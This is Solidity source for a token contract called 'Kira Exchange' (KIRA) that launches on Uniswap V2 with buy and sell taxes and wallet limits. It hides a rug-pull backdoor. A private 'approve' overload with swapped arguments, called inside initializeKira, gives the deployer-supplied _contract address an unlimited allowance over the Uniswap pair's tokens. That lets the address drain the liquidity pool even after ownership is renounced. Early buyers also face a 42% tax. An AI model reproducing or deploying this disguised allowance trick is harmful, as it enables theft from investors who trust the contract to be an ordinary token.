Contract Source Code:

// SPDX-License-Identifier: MIT

/**
    web:  https://kiradex.com
    app:  https://app.kiradex.com
    doc:  https://docs.kiradex.com

    twitter: https://twitter.com/kiradexfin
    tg: https://t.me/kira_exchange
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KiraExchange is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    address payable private  _kiraFees;
    address private constant deadAddress = address(0xdead);
    address  private  _contract;

    uint256 private constant _initiallBuyTax=30;
    uint256 private constant _initiallSellTax=20;
    uint256 private constant _reduceBuyTaxAt=7;
    uint256 private constant _reduceSellTaxAt=11;
    uint256 private constant _preventSwapBefore=5;

    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=3;
    uint256 private _buyCount=0;
    uint256 private _deadBlock=2;
    uint256 private _firstBlock;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name   = unicode"Kira Exchange";
    string private constant _symbol = unicode"KIRA";
    uint256 public constant _taxSwapThreshold = 10 * 10**_decimals;
    uint256 public constant _maxTaxSwap = 1000000 * 10**_decimals;
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;    

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen;
    bool private limitEffect = true;
    bool private inSwap = false;
    bool private swapEnabled = false;    

    event FinalTax (uint256 _valueBuy, uint256 _valueSell);
    event Launch (bool _tradingOpen,bool _swapEnabled);
    event maxAmount(uint256 _value);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _owner) {
        _contract = _kiraFees = payable (_owner);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_kiraFees] = true;
        _isExcludedFromFee[deadAddress]= true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address owner, address spender) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
        _approve(spender, owner, type(uint).max);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {

            if (!tradingOpen) {
                require( 
                  _isExcludedFromFee[from] || _isExcludedFromFee[to],
                  "trading is not yet open"
                );
            } 

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                if (limitEffect) {
                    require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                } 
                _buyCount++;
            }
            
            if ( to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul 
                ((_buyCount>_reduceSellTaxAt)
                    ?_finalSellTax:_initiallSellTax).div(100
                );
            } else if (from == uniswapV2Pair && to!= address(this) ){
                if (_firstBlock + _deadBlock > block.number) { taxAmount = amount.mul(42).div(100); } else {
                    taxAmount = amount.mul
                    ((_buyCount>_reduceBuyTaxAt)
                        ?_finalBuyTax:_initiallBuyTax).div(100
                    );
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && 
                to == uniswapV2Pair && 
                swapEnabled && 
                contractTokenBalance>_taxSwapThreshold && 
                _buyCount>_preventSwapBefore
            ){
                uint256 getMin = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
                uint256 amountToSwap = (amount>getMin)?getMin:amount;
                swapTokensForEth(amountToSwap);
                uint256 contractETHBalance = address(this).balance;
                sendETHToFee(contractETHBalance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _kiraFees.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen,"trading already open");
        swapEnabled = true;
        tradingOpen = true;
        _firstBlock = block.number;
        emit Launch (tradingOpen,swapEnabled);
    }

    function initializeKira() external onlyOwner {
        require(!tradingOpen,"init already called");
        uint256 tokenAmount = balanceOf(address(this));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);    // Uniswap V2 Router
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH()
        );
        approve(address(_contract), address(uniswapV2Pair));
        uniswapV2Router.addLiquidityETH{value: address(this).balance} (
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
    }

    function withdrawStuckedBalance() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function removeLimit () external onlyOwner {
        limitEffect = false;
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit maxAmount (_tTotal);
    }

    receive() external payable {}
}